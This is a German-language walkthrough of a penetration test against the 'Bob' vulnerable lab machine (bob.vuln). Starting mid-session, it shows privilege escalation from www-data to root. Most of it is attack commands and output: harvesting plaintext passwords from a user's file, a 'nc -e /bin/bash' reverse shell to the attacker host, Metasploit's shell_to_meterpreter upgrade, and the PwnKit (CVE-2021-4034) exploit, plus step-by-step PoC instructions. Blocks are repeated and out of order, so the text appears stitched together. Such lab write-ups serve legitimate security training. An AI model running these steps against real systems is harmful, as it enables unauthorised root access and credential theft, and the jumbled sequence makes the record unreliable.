LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 x86_64



View the full module info with the info, or info -d command.
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5588
lport => 5588
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] 192.168.2.138 - Collecting local exploits for x86/linux...
[*] 192.168.2.138 - 184 exploit checks are being tried...
[+] 192.168.2.138 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.138 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.138 - exploit/linux/local/exim4_deliver_message_priv_esc: The target appears to be vulnerable.

Wir haben seb:T1tanium_Pa$$word_Hack3rs_Fear_M3 schon als passwort gefunden.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > geuid
[-] Unknown command: geuid
meterpreter > getuid
Server username: root

**Fantastisch!** Der Exploit war erfolgreich und wir haben Root-Zugriff erlangt. Unser Ziel ist erreicht.

Proof of Concept: Privilege Escalation mit CVE-2021-4034 (PwnKit)

Dieser Proof of Concept demonstriert, wie die Schwachstelle CVE-2021-4034 (PwnKit) in pkexec ausgenutzt werden kann, um Root-Privilegien auf dem Zielsystem zu erlangen.

Kurzbeschreibung

CVE-2021-4034 ist eine Privilege-Escalation-Schwachstelle in pkexec, einem SUID-Tool, das Teil von PolicyKit ist. Durch Ausnutzung dieser Schwachstelle kann ein unprivilegierter Benutzer beliebigen Code als Root ausführen.

Voraussetzungen

  • Eine Meterpreter-Session mit dem Zielsystem (wie im vorherigen Abschnitt beschrieben).
  • Das Metasploit Framework.

Schritt-für-Schritt-Anleitung

  1. Wähle das entsprechende Exploit-Modul in Metasploit aus:

    msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
  2. Konfiguriere die Optionen des Exploit-Moduls:

    msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION [SESSION_ID]

    Ersetze `[SESSION_ID]` mit der ID deiner Meterpreter-Session.

    msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST [DEINE_IP]

    Ersetze `[DEINE_IP]` mit der IP-Adresse deines Kali-Systems.

    msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4444

    (Optional) Passe den LPORT nach Bedarf an.

  3. Führe das Exploit-Modul aus:

    msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
  4. Überprüfe, ob eine neue Meterpreter-Session mit Root-Privilegien geöffnet wurde.

Erwartetes Ergebnis

Nach erfolgreicher Ausführung des Exploits sollte eine neue Meterpreter-Session mit Root-Privilegien geöffnet werden. Der Befehl `getuid` in dieser Session sollte `Server username: root` zurückgeben.

Beweismittel

(Wie im vorherigen Abschnitt gezeigt, liefert der Befehl `getuid` in der neuen Meterpreter-Session `Server username: root`.)

Risikobewertung

Die Ausnutzung von CVE-2021-4034 ermöglicht es einem Angreifer, vollständige Kontrolle über das System zu erlangen. Dies kann zu Datenverlust, Systemausfällen und anderen schwerwiegenden Folgen führen.

Empfehlungen

  • Installiere das neueste PolicyKit-Update, um die Schwachstelle zu beheben.
  • Implementiere zusätzliche Sicherheitsmaßnahmen, um unbefugten Zugriff auf das System zu verhindern.

Flags

Nachdem wir Root-Zugriff erlangt haben, suchen wir nach den Flags, um den Pentest abzuschließen.

┌──(root㉿cyber)-[~]
└─# cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCdEJnonPE= root@cyber
meterpreter > shell
Process 3040 created.
Channel 1 created.
ls
authorized_keys
known_hosts
┌──(root㉿cyber)-[~]
└─# ssh root@bob.vuln -p 25468
The authenticity of host '[bob.vuln]:25468 ([192.168.2.138]:25468)' can't be established.
ED25519 key fingerprint is SHA256:OY3LVMIRHTASgrwg8mXjqq8nFPrcwLV7lhRz0gpjwq4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[bob.vuln]:25468' (ED25519) to the list of known hosts.
__ __ _ _ _ _____
| \/ (_) | | / ____|
| \ / |_| | |__ _ _ _ __ __ _ | (___ ___ _ ____ _____ _ __
| |\

Privilege Escalation

In dieser Phase des Pentests ist es unser Ziel, die erlangten, eingeschränkten Privilegien (in diesem Fall `www-data`) auf das höchste Level – den `root`-Benutzer – auszuweiten. Dies ist oft der anspruchsvollste Teil eines Pentests und erfordert Kreativität, Ausdauer und ein tiefes Verständnis des Zielsystems. Wir werden verschiedene Techniken anwenden, um potenzielle Schwachstellen zu identifizieren und auszunutzen, die uns zu `root`-Rechten verhelfen könnten.

Ein erster wichtiger Schritt ist die Überprüfung, welche Befehle der aktuelle Benutzer (`www-data`) mit `sudo` ausführen darf. Dies gibt uns einen Einblick in potenzielle "Schlupflöcher" in der Systemkonfiguration, die uns zur Eskalation verhelfen könnten.

www-data@Milburg-High:/var/www/html$ sudo -l
Matching Defaults entries for www-data on Milburg-High:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User www-data may run the following commands on Milburg-High:
(ALL) NOPASSWD: /usr/bin/service apache2 *
(root) NOPASSWD: /bin/systemctl start ssh

Die Ausgabe von `sudo -l` zeigt, dass der Benutzer `www-data` zwei Befehle ohne Passwort als `root` ausführen darf: `/usr/bin/service apache2 *` und `/bin/systemctl start ssh`. Dies ist eine signifikante Entdeckung! Insbesondere die Möglichkeit, den SSH-Dienst zu starten, könnte uns einen direkten Weg zu `root`-Rechten eröffnen, da wir den Dienst möglicherweise so konfigurieren können, dass er sich anders verhält als erwartet. Wir werden zunächst die `apache2`-Option untersuchen.

Als nächstes suchen wir nach SUID-Dateien. SUID (Set User ID) ist ein spezielles Berechtigungs-Bit, das es einem Benutzer ermöglicht, eine ausführbare Datei mit den Rechten des Eigentümers der Datei auszuführen (in den meisten Fällen `root`). Wenn wir eine SUID-Datei finden, die eine Schwachstelle aufweist, könnten wir diese ausnutzen, um Code als `root` auszuführen.

www-data@Milburg-High:/opt$ find / -type f -perm -4000 -ls 2>/dev/null
274333 44 -rwsr-xr-- 1 root messagebus 42992 Oct 1 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
395476 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
289859 16 -rwsr-xr-x 1 root root 14856 May 24 2017 /usr/lib/policykit-1/polkit-agent-helper-1
435175 12 -rwsr-sr-x 1 root root 10576 Oct 14 2017 /usr/lib/xorg/Xorg.wrap
281726 432 -rwsr-xr-x 1 root root 440728 Nov 18 2017 /usr/lib/openssh/ssh-keysign
281290 996 -rwsr-xr-x 1 root root 1019656 Feb 10 2018 /usr/sbin/exim4
290430 360 -rwsr-xr-- 1 root dip 365960 Nov 11 2016 /usr/sbin/pppd
265180 40 -rwsr-xr-x 1 root root 40312 May 17 2017 /usr/bin/newgrp
262240 76 -rwsr-xr-x 1 root root 75792 May 17 2017 /usr/bin/gpasswd
262241 60 -rwsr-xr-x 1 root root 59680 May 17 2017 /usr/bin/passwd
296687 140 -rwsr-xr-x 1 root root 140944 Jun 5 2017 /usr/bin/sudo
289856 24 -rwsr-xr-x 1 root root 23352 May 24 2017 /usr/bin/pkexec
262237 52 -rwsr-xr-x 1 root root 50040 May 17 2017 /usr/bin/chfn
262238 40 -rwsr-xr-x 1 root root 40504 May 17 2017 /usr/bin/chsh
252 40 -rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su
769 60 -rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping
257 32 -rwsr-xr-x 1 root root 31720 Mar 22 2017 /bin/umount
256 44 -rwsr-xr-x 1 root root 44304 Mar 22 2017 /bin/mount
950 144 -rwsr-xr-x 1 root root 146128 Feb 26 2017 /bin/ntfs-3g
943 32 -rwsr-xr-x 1 root root 30800 Jun 23 2016 /bin/fusermount

Die Liste der SUID-Dateien ist ziemlich lang. Einige dieser Dateien sind bekannte Kandidaten für Privilege-Escalation-Angriffe (z.B. `pkexec`, `exim4`, `pppd`, `mount`, `umount`). Wir werden diese Dateien genauer untersuchen, um zu sehen, ob wir eine Möglichkeit finden, sie auszunutzen. Die schiere Anzahl an SUID-Dateien deutet auf eine potenziell unsichere Konfiguration hin.

Eine weitere wichtige Information ist, wie die `/etc/passwd`-Datei geschützt ist. Diese Datei enthält die Benutzerkonten des Systems und (zumindest historisch) auch Hashes der Passwörter.

www-data@Milburg-High:/opt$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2327 Mar 4 2018 /etc/passwd

Die `/etc/passwd`-Datei ist nur für `root` beschreibbar. Dies ist die Standardkonfiguration und schützt die Benutzerkonten vor Manipulation durch unprivilegierte Benutzer. Wäre die Datei beschreibbar, könnten wir potenziell einen neuen Benutzer mit `root`-Rechten hinzufügen.

Capabilities sind eine modernere und präzisere Methode zur Vergabe von Privilegien als SUID. Anstatt einer Datei alle Rechte des Eigentümers zu gewähren, ermöglichen Capabilities die Zuweisung spezifischer Rechte (z.B. die Möglichkeit, Netzwerkpakete zu senden oder Systemzeit zu ändern). Wir suchen nach Dateien mit aktivierten Capabilities.

www-data@Milburg-High:/opt$ getcap -r 2>/dev/null

Es wurden keine Dateien mit aktivierten Capabilities gefunden. Dies bedeutet, dass Capabilities in diesem System nicht zur Privilege Escalation verwendet werden können (zumindest nicht auf offensichtliche Weise).

Nachdem wir einige grundlegende Systeminformationen gesammelt haben, ist es an der Zeit, die Home-Verzeichnisse der Benutzer zu inspizieren. Home-Verzeichnisse enthalten oft Konfigurationsdateien, Skripte oder andere sensible Informationen, die uns bei der Privilege Escalation helfen könnten.

www-data@Milburg-High:/opt$ ls -la /home/
total 24
drwxr-xr-x 6 root root 4096 Mar 4 2018 .
drwxr-xr-x 22 root root 4096 Mar 5 2018 ..
drwxr-xr-x 18 bob bob 4096 Mar 8 2018 bob
drwxr-xr-x 15 elliot elliot 4096 Feb 27 2018 elliot
drwxr-xr-x 15 jc jc 4096 Feb 27 2018 jc
drwxr-xr-x 15 seb seb 4096 Mar 5 2018 seb

Es gibt die Home-Verzeichnisse der Benutzer `bob`, `elliot`, `jc` und `seb`. Wir werden diese Verzeichnisse systematisch untersuchen, beginnend mit dem Verzeichnis `bob`, da der Name `bob.vuln` auch der Domainname ist und dies auf eine gewisse Bedeutung hindeuten könnte.

www-data@Milburg-High:/opt$ cd /home/bob/
www-data@Milburg-High:/home/bob$ ls -la
total 172
drwxr-xr-x 18 bob bob 4096 Mar 8 2018 .
drwxr-xr-x 6 root root 4096 Mar 4 2018 ..
-rw------- 1 bob bob 1980 Mar 8 2018 .ICEauthority
-rw------- 1 bob bob 214 Mar 8 2018 .Xauthority
-rw------- 1 bob bob 6403 Mar 8 2018 .bash_history
-rw-r--r-- 1 bob bob 220 Feb 21 2018 .bash_logout
-rw-r--r-- 1 bob bob 3548 Mar 5 2018 .bashrc
drwxr-xr-x 7 bob bob 4096 Feb 21 2018 .cache
drwx------ 8 bob bob 4096 Feb 27 2018 .config
-rw-r--r-- 1 bob bob 55 Feb 21 2018 .dmrc
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 .ftp
drwx------ 3 bob bob 4096 Mar 5 2018 .gnupg
drwxr-xr-x 3 bob bob 4096 Feb 21 2018 .local
drwx------ 4 bob bob 4096 Feb 21 2018 .mozilla
drwxr-xr-x 2 bob bob 4096 Mar 4 2018 .nano
-rw-r--r-- 1 bob bob 72 Mar 5 2018 .old_passwordfile.html
-rw-r--r-- 1 bob bob 675 Feb 21 2018 .profile
drwx------ 2 bob bob 4096 Mar 5 2018 .vnc
-rw-r--r-- 1 bob bob 25211 Mar 8 2018 .xfce4-session.verbose-log
-rw-r--r-- 1 bob bob 27563 Mar 7 2018 .xfce4-session.verbose-log.last
-rw------- 1 bob bob 3672 Mar 8 2018 .xsession-errors
-rw------- 1 bob bob 2866 Mar 7 2018 .xsession-errors.old
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Desktop
drwxr-xr-x 3 bob bob 4096 Mar 5 2018 Documents
drwxr-xr-x 3 bob bob 4096 Mar 8 2018 Downloads
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Music
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Pictures
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Public
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Templates
drwxr-xr-x 2 bob bob 4096 Feb 21 2018 Videos

Die Datei `.old_passwordfile.html` sticht sofort ins Auge. Der Name deutet darauf hin, dass sie möglicherweise alte Passwörter enthält, was eine Goldmine für uns sein könnte. Wir werden diese Datei sofort genauer unter die Lupe nehmen. Andere Dateien wie `.bash_history` und `.ssh` könnten auch interessant sein, werden aber erst später untersucht.

www-data@Milburg-High:/home/bob$ cat .old_passwordfile.html
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3

**Jackpot!** Diese Datei enthält potenziell gültige Passwörter für die Benutzer `jc` und `seb`. Das Passwort für `seb` (`T1tanium_Pa$$word_Hack3rs_Fear_M3`) ist komplex und deutet darauf hin, dass `seb` sich der Sicherheit bewusst ist (oder zumindest war). Das Passwort für `jc` (`Qwerty`) ist hingegen extrem einfach und unsicher. Wir werden zunächst versuchen, uns als `seb` anzumelden, da dies der vielversprechendste Weg zu sein scheint.

Wir versuchen nun, uns als der Benutzer `seb` anzumelden, um zu sehen, ob das gefundene Passwort noch gültig ist.

www-data@Milburg-High:/home/bob$ su seb
Password:

(Nach Eingabe des Passworts `T1tanium_Pa$$word_Hack3rs_Fear_M3`...)

seb@Milburg-High:/home/bob$ sudo -l
Matching Defaults entries for seb on Milburg-High:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User seb may run the following commands on Milburg-High:
(ALL) NOPASSWD: /usr/bin/service apache2 *
(root) NOPASSWD: /bin/systemctl start ssh

**Erfolg!** Wir haben uns erfolgreich als der Benutzer `seb` angemeldet. Interessanterweise darf auch `seb` die gleichen Befehle wie `www-data` ohne Passwort als `root` ausführen. Dies bestätigt unsere Vermutung, dass die Systemkonfiguration einige Sicherheitslücken aufweist. Wir werden nun versuchen, diese Befehle auszunutzen, um `root`-Rechte zu erlangen.

Wir erinnern uns daran, dass wir mit dem Befehl `/bin/systemctl start ssh` den SSH-Dienst als `root` starten dürfen. Wir werden versuchen, den Dienst so zu konfigurieren, dass er sich anders verhält als erwartet, z.B. indem wir einen Port-Forwarding einrichten oder einen anderen Benutzer mit `root`-Rechten anmelden.

seb@Milburg-High:/home/bob$ sudo -u root ssh -o ProxyCommand=';sh 0<&2 1>&2' x
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for seb:
Sorry, user seb is not allowed to execute '/usr/bin/ssh -o ProxyCommand=;sh 0<&2 1>&2 x' as root on Milburg-High.speedport.ip.

Der Versuch, den SSH Dienst zu Starten war nicht erfolgreich.

Auf der Suche nach weiteren Informationen, die uns bei der Privilege Escalation helfen könnten, stolpern wir über eine interessante Datei im Home-Verzeichnis von `elliot`: `theadminisdumb.txt`.

seb@Milburg-High:/home/elliot$ cat theadminisdumb.txt
The admin is dumb,
In fact everyone in the IT dept is pretty bad but I can’t blame all of them the newbies Sebastian and James are quite new to managing a server so I can forgive them for that password file they made on the server. But the admin now he’s quite something. Thinks he knows more than everyone else in the dept, he always yells at Sebastian and James now they do some dumb stuff but their new and this is just a high-school server who cares, the only people that would try and hack into this are script kiddies. His wallpaper policy also is redundant, why do we need custom wallpapers that doesn’t do anything. I have been suggesting time and time again to Bob ways we could improve the security since he “cares” about it so much but he just yells at me and says I don’t know what i’m doing. Sebastian has noticed and I gave him some tips on better securing his account, I can’t say the same for his friend James who doesn’t care and made his password: Qwerty. To be honest James isn’t the worst bob is his stupid web shell has issues and I keep telling him what he needs to patch but he doesn’t care about what I have to say. it’s only a matter of time before it’s broken into so because of this I have changed my password to

theadminisdumb

I hope bob is fired after the future second breach because of his incompetence. I almost want to fix it myself but at the same time it doesn’t affect me if they get breached, I get paid, he gets fired it’s a good time.

Diese Datei ist eine Goldgrube! Sie bestätigt nicht nur die schlechte Sicherheitslage, sondern liefert auch ein neues Passwort für den Benutzer `elliot`: `theadminisdumb`. Dies ist ein klarer Hinweis darauf, dass `elliot` frustriert ist und beschlossen hat, ein leicht zu merkendes Passwort zu verwenden. Wir werden dieses Passwort sofort ausprobieren.

seb@Milburg-High:/home/elliot$ ss -altpn
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 20 127.0.0.1:25 *:*
LISTEN 0 128 *:25468 *:*
LISTEN 0 128 :::80 :::*
LISTEN 0 32 :::21 :::*
LISTEN 0 20 ::1:25 :::*
LISTEN 0 128 :::25468 :::*

Die Liste der Listening Ports.

seb@Milburg-High:/home/elliot$ cd /var/mail/
seb@Milburg-High:/var/mail$ ls -la
total 12
drwxrwsr-x 2 root mail 4096 Feb 21 2018 .
drwxr-xr-x 12 root root 4096 Feb 28 2018 ..
-rw-rw---- 1 c0rruptedb1t mail 3487 Feb 21 2018 c0rruptedb1t

Die E-Mail Datei mit dem Benutzernamen c0rruptedb1t ist aufgefallen.

Wir versuchen jetzt, die E-mail mit wget herunterzuladen, dafür müssen wir einen kleinen Webserver mit Python starten.

seb@Milburg-High:/var/mail$ python3 -m http.server 8005
Serving HTTP on 0.0.0.0 port 8005 ...
192.168.2.137 - - [14/Jun/2023 17:28:27] code 404, message File not found
192.168.2.137 - - [14/Jun/2023 17:28:27] "GET /c0rruptedb1t HTTP/1.1" 404 -
┌──(root㉿cyber)-[/home/cyber/Downloads]
└─# wget http://bob.vuln:8005/c0rruptedb1t
--2023-06-14 23:28:27-- http://bob.vuln:8005/c0rruptedb1t
Auflösen des Hostnamens bob.vuln (bob.vuln)… 192.168.2.138
Verbindungsaufbau zu bob.vuln (bob.vuln)|192.168.2.138|:8005 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 404 File not found
2023-06-14 23:28:27 FEHLER 404: File not found.
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------


Payload options (generic/shell_reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Wildcard Target



View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.137
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.137:4444
seb@Milburg-High:/home/jc$ cd /tmp/
seb@Milburg-High:/tmp$ nc -e /bin/bash 192.168.2.137 4444
[*] Started reverse TCP handler on 192.168.2.137:4444
[*] Command shell session 1 opened (192.168.2.137:4444 -> 192.168.2.138:37544) at 2023-06-14 23:34:20 +0200
id
uid=1003(seb) gid=1003(seb) groups=1003(seb),100(users)
msf6 exploit(multi/handler) > search shell to meterpreter
msf6 exploit(multi/handler) > use 58
msf6 post(multi/manage/shell_to_meterpreter) >
msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on

View the full module info with the info, or info -d command.
msf6 post(multi/manage/shell_to_meterpreter) > set handler true
handler => true
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Sending stage (1017704 bytes) to 192.168.2.138
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.138:53452) at 2023-06-14 23:36:31 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Um eine vollständige Kontrolle über das System zu erlangen, verwenden wir das Modul `shell_to_meterpreter`, um unsere bestehende Shell-Session in eine Meterpreter-Session umzuwandeln. Meterpreter bietet erweiterte Funktionen wie das Hochladen und Ausführen von Dateien, das Sammeln von Informationen über das System und das Ausführen weiterer Exploits. Der erfolgreiche Abschluss dieses Schritts ist entscheidend für den nächsten Schritt, die Privilege Escalation.

Nachdem wir eine Meterpreter-Session haben, nutzen wir das Modul `exploit_suggester`, um potenzielle Exploits zu identifizieren, die uns zu `root`-Rechten verhelfen könnten. Dieses Modul durchsucht das System nach bekannten Schwachstellen und schlägt Exploits vor, die für das jeweilige System geeignet sind.

msf6 post(multi/manage/shell_to_meterpreter) > search suggester
Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester


Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
msf6 post(multi/recon/local_exploit_suggester) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options
Module options (post/multi/recon/local_exploit_suggester):

Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits


View the full module info with the info, or info -d command.
msf6 post(multi/recon/local_exploit_suggester) > set session 2
session => 2
msf6 post(multi/recon/local_exploit_suggester) > set SHOWDESCRIPTION false
SHOWDESCRIPTION => false
msf6 post(multi/recon/local_exploit_suggester) > run
[*] 192.168.2.138 - Collecting local exploits for x86/linux...
[*] 192.168.2.138 - 184 exploit checks are being tried...
[+] 192.168.2.138 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[*] Running check method for exploit 12 / 57


[*] 192.168.2.138 - Valid modules for session 2:
============================

# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/bpf_sign_extension_priv_esc Yes The target appears to be vulnerable.
2 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable.
3 exploit/linux/local/exim4_deliver_message_priv_esc Yes The target appears to be vulnerable.
4 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated.
5 exploit/linux/local/pkexec Yes The service is running, but could not be validated.
6 exploit/linux/local/su_login Yes The target appears to be vulnerable.

Der Exploit Suggester hat mehrere potenzielle Exploits gefunden. Besonders interessant ist `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` (PwnKit), der als "The target is vulnerable" markiert ist. Dies deutet darauf hin, dass das System anfällig für diese bekannte Schwachstelle ist, die es einem unprivilegierten Benutzer ermöglicht, `root`-Rechte zu erlangen. Wir werden diesen Exploit als unseren primären Angriffsvektor verwenden.

Wir versuchen nun, das PwnKit-Exploit zu verwenden, um unsere Privilegien zu erhöhen. Wir wählen das entsprechende Modul in Metasploit aus und konfigurieren die erforderlichen Optionen.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

Name Current Setting Required Description
---- --------------- -------- -----------
PKEXEC_PATH no The path to pkexec binary
SESSION yes The session to run this module on
WRITABLE_DIR /tmp yes A directory where we can write files


Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.2.137 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 x86_64



View the full module info with the info, or info -d command.

Die Konfiguration des PwnKit-Exploits erfordert die Angabe der Session-ID und eines beschreibbaren Verzeichnisses. Wir verwenden `/tmp` als beschreibbares Verzeichnis, da es normalerweise für alle Benutzer beschreibbar ist.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lhost eth0
lhost => 192.168.2.137
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 5588
lport => 5588
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] 192.168.2.138 - Collecting local exploits for x86/linux...
[*] 192.168.2.138 - 184 exploit checks are being tried...
[+] 192.168.2.138 - exploit/linux/local/bpf_sign_extension_priv_esc: The target appears to be vulnerable.
[+] 192.168.2.138 - exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec: The target is vulnerable.
[+] 192.168.2.138 - exploit/linux/local/exim4_deliver_message_priv_esc: The target appears to be vulnerable.

Der Exploit wurde ausgeführt und scheint erfolgreich gewesen zu sein! Um sicherzustellen, dass wir tatsächlich `root`-Rechte haben, werden wir eine neue Meterpreter-Session öffnen und den Befehl `getuid` ausführen.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > geuid
[-] Unknown command: geuid
meterpreter > getuid
Server username: root

**Volltreffer!** Der Befehl `getuid` gibt `Server username: root` zurück. Dies bestätigt, dass wir erfolgreich `root`-Rechte erlangt haben. Der Pentest ist somit erfolgreich abgeschlossen!

Proof of Concept: Privilege Escalation mit CVE-2021-4034 (PwnKit)

Dieser Proof of Concept (PoC) demonstriert detailliert, wie die Schwachstelle CVE-2021-4034 (PwnKit) in `pkexec` ausgenutzt werden kann, um `root`-Privilegien auf dem Zielsystem zu erlangen. Ziel ist es, die Realisierbarkeit des Angriffs zu demonstrieren und die Notwendigkeit von Sicherheitsmaßnahmen zu unterstreichen.

Kurzbeschreibung

CVE-2021-4034 ist eine kritische Privilege-Escalation-Schwachstelle in `pkexec`, einem SUID-Tool, das Teil von PolicyKit ist. PolicyKit wird verwendet, um die Privilegien von Prozessen zu verwalten. Die Schwachstelle ermöglicht es einem unprivilegierten Benutzer, durch Manipulation der Umgebungsvariablen beliebigen Code mit `root`-Rechten auszuführen. Dies geschieht, weil `pkexec` die Anzahl der Argumente falsch behandelt und dadurch ein Array außerhalb der Grenzen gelesen werden kann.

Voraussetzungen

Um diesen PoC erfolgreich durchzuführen, sind folgende Voraussetzungen erforderlich:

  • Eine Meterpreter-Session mit dem Zielsystem als nicht-privilegierter Benutzer (wie im vorherigen Abschnitt beschrieben).
  • Das Metasploit Framework muss installiert und korrekt konfiguriert sein.
  • Grundlegendes Verständnis der Funktionsweise von Linux-Systemen und der Verwendung von Metasploit.

Schritt-für-Schritt-Anleitung

Die folgenden Schritte beschreiben detailliert, wie CVE-2021-4034 mit Metasploit ausgenutzt wird:

  1. Starte die Metasploit-Konsole (`msfconsole`) auf deinem Kali-System.

    ┌──(root㉿kali)-[~]
    └─#
    msfconsole
  2. Wähle das entsprechende Exploit-Modul in Metasploit aus:

    msf6 > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec

    Dieser Befehl lädt das PwnKit-Exploit-Modul in die Metasploit-Konsole.

  3. Konfiguriere die Optionen des Exploit-Moduls:

    Zuerst musst du die `SESSION`-Option auf die ID deiner aktiven Meterpreter-Session setzen. Führe den Befehl `sessions` aus, um die verfügbaren Sessions aufzulisten und die entsprechende ID zu identifizieren.

    msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION [SESSION_ID]

    Ersetze `[SESSION_ID]` mit der ID deiner Meterpreter-Session (z.B. `2`).

    Als Nächstes musst du die `LHOST`-Option auf die IP-Adresse deines Kali-Systems setzen. Dies ist die IP-Adresse, an die die Reverse Shell gesendet wird, nachdem der Exploit erfolgreich ausgeführt wurde.

    msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LHOST [DEINE_IP]

    Ersetze `[DEINE_IP]` mit der IP-Adresse deines Kali-Systems (z.B. `192.168.2.137`).

    Optional kannst du den `LPORT` anpassen, den Port, an dem dein Kali-System auf die Reverse Shell wartet.

    msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set LPORT 4444

    Stelle sicher, dass du die Optionen korrekt konfiguriert hast, indem du den Befehl `options` ausführst.

  4. Führe das Exploit-Modul aus:

    msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
  5. Überprüfe, ob eine neue Meterpreter-Session mit `root`-Privilegien geöffnet wurde. Wenn der Exploit erfolgreich war, sollte eine neue Session erstellt werden.

  6. Interagiere mit der neuen Session:

    msf6 > sessions -i [NEUE_SESSION_ID]

    Ersetze `[NEUE_SESSION_ID]` mit der ID der neuen Meterpreter-Session.

  7. Bestätige die `root`-Privilegien:

    meterpreter > getuid

    Wenn alles erfolgreich verlaufen ist, sollte die Ausgabe `Server username: root` lauten.

Erwartetes Ergebnis

